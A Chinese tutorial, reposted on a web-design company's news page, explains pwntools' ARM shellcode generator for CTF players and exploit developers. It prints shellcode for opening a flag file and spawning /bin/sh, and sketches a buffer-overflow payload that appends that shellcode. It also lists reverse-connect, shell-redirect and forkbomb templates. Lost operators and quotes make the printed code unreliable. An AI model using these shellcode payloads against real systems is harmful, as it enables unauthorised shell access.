ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

pwntools Shellcraft ARM 指南:面向 ARM 架构的 Shellcode 生成库详解

pwntools Shellcraft ARM 指南:面向 ARM 架构的 Shellcode 生成库详解 pwntools Shellcraft ARM 指南面向 ARM 架构的 Shellcode 生成库详解【免费下载链接】pwntoolsCTF framework and exploit development library项目地址: https://gitcode.com/gh_mirrors/pw/pwntools本文面向 CTF 选手与漏洞利用开发者系统讲解 pwntools 中pwnlib.shellcraft.arm模块。该模块用于生成 ARM 架构下的精简 shellcode并内置pwnlib.shellcraft.arm.linux子模块专门面向 Linux 系统调用封装。读完本文你将掌握 ARM shellcode 的模块结构、加载机制、核心原语如mov、push、pushstr、setregs、Linux 系统调用封装以及如何组合这些原语快速写出execve(/bin/sh)等实战利用代码。一、模块总览Shellcraft 的 ARM 分支在 pwntools 中shellcraft 是专门用于生成汇编指令序列shellcode的模块。它按“架构/操作系统”两级目录组织每个功能点对应一个 Mako 模板.asm文件。pwnlib.shellcraft.arm负责生成 ARM 小端little endian通用 shellcode其模板位于 pwnlib/shellcraft/templates/armpwnlib.shellcraft.arm.linux则专门提供针对 Linux 的 ARM shellcode模板位于 pwnlib/shellcraft/templates/arm/linux。从源码结构看pwnlib.shellcraft.arm主要包含架构通用原语mov、push、pushstr、pushstr_array、setregs、ret、nop、trap、crash、infloop、xor、memcpy、itoa、to_thumb、udiv_10等这些模板直接位于templates/arm/根目录Linux 系统调用封装execve、open、read、write、socket、connect、dup2、exit、mmap、mprotect等数百个系统调用模板位于templates/arm/linux/syscalls/Linux 高级组合 shellcodesh、cat、cat2、echo、connect、dupio、dupsh、forkexit、forkbomb、killparent、setresuid、egghunter、cacheflush、open_file、dir等位于templates/arm/linux/Android 系统调用封装位于templates/arm/android/覆盖syscalls/及cat、cat2、connect、dupio、dupsh、echo、kill、killparent、open、readn、setresuid、sh、sleep、socket、stage等FreeBSD 分支目前仅提供syscall.asm一个模板templates/arm/freebsd/。模块的官方文档字符串docstring也印证了这一分工templates/arm/__doc__声明“Shellcraft module containing generic ARM little endian shellcodes”templates/arm/linux/__doc__声明“Shellcraft module containing ARM shellcodes for Linux”。1.1 体系结构上下文需要说明的是pwnlib.shellcraft.arm在 pwntools 的 shellcraft 体系结构中承担“架构模板”的角色它与其他架构模板i386、amd64、mips 等平行存在。整个 shellcraft 目录树中还有templates/common/目录存放各架构共享的通用模板参见 templates/common 与 docs/source/shellcraft/common.rst。本模块的模板可以通过pwnlib.shellcraft顶层包统一调度其文档化入口即 docs/source/shellcraft/arm.rst。二、动态加载机制模板如何变成 Python 函数pwnlib.shellcraft.arm并不是一个普通的静态 Python 模块而是一个动态加载的模块对象。其核心实现在 pwnlib/shellcraft/init.py模块类module在初始化时记录模板目录self._dir并在首次访问属性时触发__lazyinit__扫描templates/arm/下所有.asm文件将文件名映射为 shellcode 名称通过__getattr__惰性加载当你访问shellcraft.arm.mov时内部调用internal.make_function把对应的.asmMako 模板编译为可调用函数参见 pwnlib/shellcraft/internal.py每个函数都被包装出两个附加接口function生成带缩进注释的汇编文本与call用于嵌入其他模板内部调用。模板目录路径到上下文的映射由get_context_from_dirpath完成例如arm目录得到{arch: arm}arm/linux目录得到{arch: arm, os: linux}。也就是说arm.rst 文档中的automodule指令所展示的函数成员实际上全部来自templates/arm/与templates/arm/linux/下的模板文件文档与模板一一对应。三、架构通用原语shellcraft.arm顶层顶层原语是所有组合型 shellcode 的“积木”。以下按用途介绍核心模板并给出源码层面的行为说明。3.1mov(dst, src)智能常数装载mov模板位于 templates/arm/mov.asm用于把寄存器或立即数移入目标寄存器。它的最大特点是“智能编码”会根据立即数的形态选择最短的 ARM 指令序列并自动避开空字节\x00与换行符\n。从源码看其决策逻辑为src等于dst时只输出注释不生成任何指令src是字符串非常量符号时会通过pwnlib.constants.eval求值此时以context.os为准src 0时使用eor dst, dst自异或清零而非mov dst, #0以规避空字节如果常数满足 ARM 的“8 位立即数 循环移位”编码条件get_imm8_shift_ok检查则直接使用mov dst, #imm8_shift若常数 16 位以内可表示则使用movw否则组合使用movw/movt装载高低 16 位负值或高位全 1 的常数则使用mvn按位取反装载以压缩编码长度。文档示例来自模板 docstring展示了典型输出 print(shellcraft.arm.mov(r0,r1).rstrip()) mov r0, r1 print(shellcraft.arm.mov(r0, 5).rstrip()) mov r0, #5 print(shellcraft.arm.mov(r0, 0x34532).rstrip()) movw r0, #0x34532 0xffff movt r0, #0x34532 16 print(shellcraft.arm.mov(r0, 0xf00d0000).rstrip()) eor r0, r0 movt r0, #0xf00d0000 16参数说明dst (str)目标寄存器名必须是 ARM 寄存器否则报错src (str|int)源寄存器名或立即数若为字符串常量如SYS_xxx或算术表达式会在archarm上下文中求值。3.2push与pushstr字符串入栈pushstr模板位于 templates/arm/pushstr.asm用于把字符串压入栈中供后续mov r0, sp之类的操作使用例如execve的路径参数。源码行为要点默认在字符串末尾追加一个\x00append_nullTrue以 4 字节为对齐单位不足部分用A0x41填充——这样既能对齐 ARM 的push {rN}32 位寄存器压栈又避免引入额外的空字节将字符串按 32 位小端拆成若干 word逆序压栈每个 word 内部用movw/movtpush完成。文档示例Hello!为 6 字节补\x00后为 7 字节再补一个A对齐到 8 字节恰好两个 word print(shellcraft.arm.pushstr(Hello!).rstrip()) /* push bHello!\x00A */ movw r7, #0x4100216f 0xffff movt r7, #0x4100216f 16 push {r7} movw r7, #0x6c6c6548 0xffff movt r7, #0x6c6c6548 16 push {r7}参数说明string (str)要压栈的字符串append_null (bool)是否先追加一个 NULL 字节默认Trueregister (str)压栈时使用的临时寄存器默认r7。顶层还提供了pushstr_array将字符串数组按顺序压栈通常与execve(argv)搭配、setregs批量设置多个寄存器的值内部逐个调用mov、ret、nop、trap触发swi/断点供调试、crash、infloop、xor、memcpy、itoa、to_thumbARM 切换到 Thumb 模式等原语均可在 templates/arm 目录下找到对应.asm文件。四、Linux 系统调用封装shellcraft.arm.linux4.1syscall系统调用的统一入口所有 Linux 系统调用 shellcode 的最底层依赖是syscall模板位于 templates/arm/linux/syscall.asm。它接受最多 6 个参数ARM 的 r0–r6 传参约定并通过 ABI 定义linux_arm_syscall见 pwnlib/abi.py将参数映射到r0–r3把系统调用号放入r7最后执行svc 0触发内核调用。关键行为参数可以是表达式交由pwnlib.constants.eval求值也支持以SYS_xxx形式直接传入符号名自动转为对应调用号内部通过setregs批量装载寄存器未指定的参数会被置零例如eor r3, r3生成的汇编会带注释标注调用原型便于阅读与调试。模板 docstring 中的示例 print(shellcraft.arm.linux.syscall(11, 1, sp, 2, 0).rstrip()) /* call syscall(0xb, 1, sp, 2, 0) */ mov r0, #1 mov r1, sp mov r2, #2 eor r3, r3 /* 0 (#0) */ mov r7, #0xb svc 0 print(shellcraft.arm.linux.syscall(SYS_exit, 0).rstrip()) /* call exit(0) */ eor r0, r0 /* 0 (#0) */ mov r7, #SYS_exit /* 1 */ svc 0其中SYS_exit对应调用号 1由常量表解析后写入注释。4.2 单个系统调用模板以open为例除syscall外templates/arm/linux/syscalls/下为每个系统调用生成了独立模板命名与 Linux 系统调用名一致open、read、write、execve、mmap、mprotect、socket、connect、dup2、setresuid等覆盖数百个调用。这些模板会内联完成字符串压栈、寄存器装载等繁琐工作。例如使用open(/home/pwn/flag)打开文件时注意该函数经由 shellcraft 顶层的上下文调度自动落在arm.linux分支模板 docstring 给出了完整输出先pushstr压入路径字符串以\x00结尾并补A对齐再把sp赋给r0清零r1oflag与r2mode最后装载SYS_openARM 上为 5并执行svc 0。/* open(file/home/pwn/flag, oflag0, mode0) */ /* push b/home/pwn/flag\x00A */ movw r7, #0x41006761 0xffff movt r7, #0x41006761 16 push {r7} movw r7, #0x6c662f6e 0xffff movt r7, #0x6c662f6e 16 push {r7} movw r7, #0x77702f65 0xffff movt r7, #0x77702f65 16 push {r7} movw r7, #0x6d6f682f 0xffff movt r7, #0x6d6f682f 16 push {r7} mov r0, sp eor r1, r1 /* 0 (#0) */ eor r2, r2 /* 0 (#0) */ /* call open() */ mov r7, #SYS_open /* 5 */ svc 0可以看到组合原语pushstr、mov、syscall在这里被自动复用这正是 shellcraft 模板体系的设计意图。4.3 组合型 shellcodesh、cat、dupsh等templates/arm/linux/下的高级模板由上述原语组合而成。以最常用的sh为例模板位于 templates/arm/linux/sh.asm其实现极为简洁——直接委托给execve% from pwnlib.shellcraft import arm % %docstring Execute a different process. p run_assembly(shellcraft.arm.linux.sh()) p.sendline(becho Hello) p.recv() bHello\n /%docstring ${arm.linux.execve(/bin///sh, [sh], 0)}可见sh()的本质是execve(/bin///sh, [sh], 0)路径使用/bin///sh这种多斜杠写法来避开空字节/换行约束argv只含shenvp为 0。模板 docstring 还提供了可直接运行的 doctest用run_assembly执行生成的 shellcode向进程发送echo Hello即可收到Hello\n验证 shellcode 的真实可运行性。templates/arm/linux/下还包含cat/cat2读取并输出文件内容connect建立 TCP 反向连接dupio/dupsh将标准输入输出重定向到已打开的 socket反弹 shell 常用组合forkexit/forkbomb进程复制相关killparent杀掉父进程后继续执行setresuid切换用户 IDegghunter在内存中搜索 egg 标记cacheflush刷新指令缓存用于自修改代码场景echo输出指定内容。五、实战示例生成并运行 ARM shellcode结合context与asm模块即可完成“生成 汇编 运行”的完整流程。下面给出可直接在 pwntools 环境中执行的 Python 示例ARM Linux 环境。5.1 生成execve(/bin/sh)并查看汇编from pwn import * context.clear(archarm, oslinux) print(shellcraft.arm.linux.sh())输出为一段完整的 ARM 汇编先用pushstr把/bin///sh\0压栈并让r0指向sp再构造argv[sh, 0]数组放入r1r2置 0装载SYS_execveARM 上为 11后执行svc 0。5.2 汇编为字节码并运行from pwn import * context.clear(archarm, oslinux) code asm(shellcraft.arm.linux.sh()) print(code.hex()) p run_assembly(shellcraft.arm.linux.sh()) p.sendline(becho Hello) print(p.recv()) # bHello\n其中asm()使用仓库自带的汇编器封装pwnlib/asm.py把模板文本编译为机器码run_assembly则在本地执行。模板中的 doctest 正是以这种方式自证其正确性。5.3 手动构造系统调用如果希望完全掌控每条指令也可以直接使用syscall原语from pwn import * context.clear(archarm, oslinux) # exit(0) print(asm(shellcraft.arm.linux.syscall(SYS_exit, 0)).hex())SYS_exit会被自动解析为调用号 1r0被清零r7装载 1最后svc 0。六、在 exploit 中内嵌 ARM shellcode在真实漏洞利用场景中shellcode 通常需要嵌入二进制。典型做法是用asm()生成字节串并拼接到 payload 中例如from pwn import * context.clear(archarm, oslinux) e ELF(./vuln_arm) payload bA * 128 # padding payload p32(e.symbols[system]) # 返回地址示意 payload asm(shellcraft.arm.linux.sh()) # 追加 shellcode若目标开启 NX还需先用mprotect系统调用把 shellcode 所在页标记为可执行再跳转过去shellcraft.arm.linux.mprotect(addr, size, 7)可以直接生成对应指令序列。也可以使用 pwnlib/encoders 对生成的字节码做编码变换以规避过滤如\x00/\n字符限制模板生成阶段本身已尽量避开空字节与换行符。七、补充Android 与 Thumb 模式除 Linux 外ARM 分支还提供 Android 支持templates/arm/android/其系统调用模板与 Linux 大体平行并额外提供sh、socket、stage、readn、open等组合模板适用于 Android 平台的漏洞利用与研究场景。templates/arm/to_thumb.asm提供了 ARM 模式切换到 Thumb 模式的原语在需要 16 位 Thumb 指令压缩 shellcode 体积的场景例如空间受限的栈溢出可以配合 templates/thumb 使用。此外docs/source/shellcraft/thumb.rst对 Thumb 分支有专门文档。八、相关资源与延伸阅读模块文档docs/source/shellcraft/arm.rst、docs/source/shellcraft/common.rst模板源码pwnlib/shellcraft/templates/arm、pwnlib/shellcraft/templates/arm/linux、pwnlib/shellcraft/templates/arm/android加载机制pwnlib/shellcraft/init.py、pwnlib/shellcraft/internal.pyABI 约定pwnlib/abi.py汇编器封装pwnlib/asm.py其他架构分支i386、amd64、mips、thumb 等模板目录及 docs/source/shellcraft 下对应文档如需深入每个模板的具体参数可直接阅读对应.asm文件中的%docstring段落——它们是arm.rst通过automodule自动收集并渲染的全部文档来源。【免费下载链接】pwntoolsCTF framework and exploit development library项目地址: https://gitcode.com/gh_mirrors/pw/pwntools创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表